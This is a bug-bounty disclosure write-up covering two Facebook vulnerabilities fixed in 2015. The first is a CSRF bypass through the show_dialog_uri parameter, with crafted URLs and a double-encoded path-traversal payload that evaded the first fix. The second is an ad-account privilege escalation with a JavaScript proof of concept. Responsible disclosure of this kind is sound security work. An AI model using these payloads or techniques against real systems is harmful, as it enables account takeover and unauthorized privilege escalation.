How I bypassed Facebook CSRF Protection

I discovered a vulnerability in Facebook's Ads Manager flow that could be abused to bypass Facebook's CSRF protection and trigger authenticated actions on behalf of a logged-in user.

The issue came from the way Facebook's AsyncDialog functionality processed the show_dialog_uri parameter. By controlling that value, I could influence the destination of an internal POST request that automatically included Facebook's anti-CSRF token, fb_dtsg.

Issue CSRF protection bypass / unsafe internal request construction
Impact Trigger security-sensitive authenticated actions, including account takeover scenarios
Bounty $15,000
Facebook CSRF bypass research

Facebook's CSRF Protection

Facebook used fb_dtsg as an anti-CSRF token for many state-changing requests.

For protected actions, the server expected a valid token to be included in the request. Without it, the action should normally be rejected.

The question was whether an existing Facebook feature could be abused to generate an authenticated request containing a valid fb_dtsg token while allowing an attacker to control where that request was sent.

The Ads Manager Migration Flow

While testing an Ads Manager migration flow, Facebook redirected me to a URL similar to:

https://www.facebook.com/ads/manage/home/?account_id=XXXX&show_dialog_uri=/ads/manage/error/graydisabled/?account_id=XXXX

The page displayed a dialog for migrating a gray account to a personal account.

Facebook Ads Manager account migration dialog
The account migration dialog that triggered the vulnerable request flow.

During page load, Facebook generated an internal POST request to the path provided in show_dialog_uri.

A simplified version of the request looked like this:

POST /ads/manage/error/graydisabled/?account_id=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded

account_id=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=

The Interesting Behavior

One detail immediately stood out: account_id appeared both in the requested URL and in the POST body.

I changed the query parameter name inside show_dialog_uri:

https://www.facebook.com/ads/manage/home/?show_dialog_uri=/ads/manage/error/graydisabled/?aaaa=XXXX

Facebook then generated a request containing my modified parameter:

POST /ads/manage/error/graydisabled/?aaaa=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded

aaaa=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=

This behavior gave me three important properties at the same time:

  • A controllable relative URL inside Facebook.
  • Attacker-controlled parameters in the generated request.
  • A valid fb_dtsg token automatically added by Facebook.

Together, these properties effectively created an authenticated request primitive that could be used to bypass CSRF protection on other Facebook endpoints.

Security-Sensitive Actions

I tested the technique against several Facebook actions. These were examples rather than an exhaustive list of reachable endpoints.

Changing Account Language

/ads/manage/home/?show_dialog_uri=/ajax/settings/account/language.php?new_language=fa_IR

Adding a New Email Address

One of the more serious cases involved adding a new email address to the account:

/ads/manage/home/?show_dialog_uri=/settings/email/add/submit/[email protected]

Depending on the surrounding account-recovery flow, this created an account-takeover path.

Disabling Login Approvals

/ads/manage/home/?show_dialog_uri=/ajax/settings/security/approvals.php?just_enabled_approvals=0

Logging Out Mobile Sessions

/ads/manage/home/?show_dialog_uri=/ajax/settings/mobile/lost_phone.php

Logging Out All Sessions

/ads/manage/home/?show_dialog_uri=/ajax/settings/security/sessions/stop_all.php
Facebook CSRF bypass proof of concept
Proof of concept demonstrating the original CSRF bypass.

Facebook's Initial Fix

After the issue was reported, Facebook restricted show_dialog_uri so that it had to begin with:

/ads/manage/error/graydisabled/?

That prevented me from directly replacing the destination with an arbitrary Facebook endpoint.

I then tested whether the restricted path could still be escaped.

Bypassing the Fix With Double Encoding

A straightforward path traversal attempt did not work because slash characters appearing after the question mark were URL-encoded.

The bypass came from double-encoding the question mark:

%253F

During AsyncDialog processing, one decoding layer was removed. That changed how the remaining path was interpreted and allowed the request path to escape the restricted prefix.

The final payload used a structure similar to:

https://www.facebook.com/ads/manage/home/?account_id&show_dialog_uri=%2Fads%2Fmanage%2Ferror%2Fgraydisabled%2F%253F%2F..%2F..%2F..%2F..%2F..%2Fsettings%2Femail%2Fadd%2Fsubmit%2F%3Fnew_email%3Dpouya%40darabi.me
Facebook CSRF fix bypass using double encoding
The double-encoding technique used to bypass Facebook's initial restriction.

Resolution

After the bypass was reported, Facebook blocked the second technique as well. The vulnerable show_dialog_uri behavior was ultimately removed.

Disclosure Timeline

March 29, 2015 — 16:07 Initial vulnerability reported.
March 29, 2015 — 21:15 Additional details provided.
March 30, 2015 — 00:57 Issue acknowledged by Facebook's security team.
March 30, 2015 — 02:10 Temporary fix deployed.
March 30, 2015 — 02:52 Fix bypass reported.
March 30, 2015 — 03:19 Bypass blocked.
March 31, 2015 — 07:10 $15,000 bounty awarded.

Bypass ad account roles vulnerability 2015

I discovered an authorization vulnerability in Facebook Ads Manager that allowed a user with limited access to an ad account to escalate privileges and gain administrator access.

The issue affected ad accounts shared through Facebook Business Manager. An agency or business account with a lower-privileged role, such as Analyst or Advertiser, could directly call the user-permission endpoint and assign the Admin role.

Issue Privilege escalation / broken authorization
Impact Escalate from limited ad-account access to administrator privileges
Bounty $8,000
Facebook Ads account privilege escalation vulnerability

Background

Facebook ad accounts supported several permission levels, including:

  • Admin
  • Advertiser
  • Analyst

Facebook Business Manager allowed businesses to grant agencies access to their ad accounts while restricting what those agencies were allowed to do.

For example, an organization could give another business account only Analyst access to an ad account. That account should remain limited to the capabilities assigned by the owner.

The Vulnerability

The backend endpoint used to add users to an ad account did not properly enforce the permission level of the user making the request.

A user with Analyst access could send a request directly to:

POST /ads/manage/settings/permissions/?action=add_user

The important request parameters were:

act=[AD_ACCOUNT_ID]
user_id=[USER_ID]
add_user_permission=[PERMISSION]

The available permission values included:

1001 = Admin
1002 = Advertiser
1003 = Analyst

By setting add_user_permission to 1001, a lower-privileged user could add a user as an administrator of the ad account.

Privilege Escalation Scenario

Consider a business that grants another business account only Analyst access to its ad account.

That agency should only have the permissions explicitly assigned by the owner. However, because the backend did not sufficiently verify whether the requester was authorized to assign higher roles, the agency could submit the permission-management request itself and create an Admin user.

This effectively allowed the agency to bypass the owner's assigned role restrictions and take administrative control of the ad account.

Proof of Concept

A simplified version of the request could be generated with JavaScript:

var xhr = new XMLHttpRequest();

xhr.open(
  "POST",
  "/ads/manage/settings/permissions/?action=add_user",
  true
);

var body =
  "act=__ACCID__" +
  "&user_id=__USERID__" +
  "&add_user_permission=__PERM__" +
  "&__a=1";

body +=
  "&fb_dtsg=" +
  document.getElementsByName("fb_dtsg")[0].value;

xhr.send(body);

Where:

__ACCID__  = Target ad account ID
__USERID__ = User to add
__PERM__   = Permission level (1001, 1002, or 1003)

Using 1001 as the permission value created an administrator.

Some sections of the original PoC were intentionally removed because they contained user IDs or email addresses.

Resolution

Facebook's security team acknowledged the vulnerability and deployed a fix that prevented lower-privileged users from assigning unauthorized roles.

Disclosure Timeline

March 14, 2015 — 01:27 Initial vulnerability reported.
March 17, 2015 — 03:35 Issue acknowledged by Facebook's security team.
March 17, 2015 — 08:00 Facebook confirmed the vulnerability had been fixed.
March 20, 2015 — 22:08 $8,000 bounty awarded.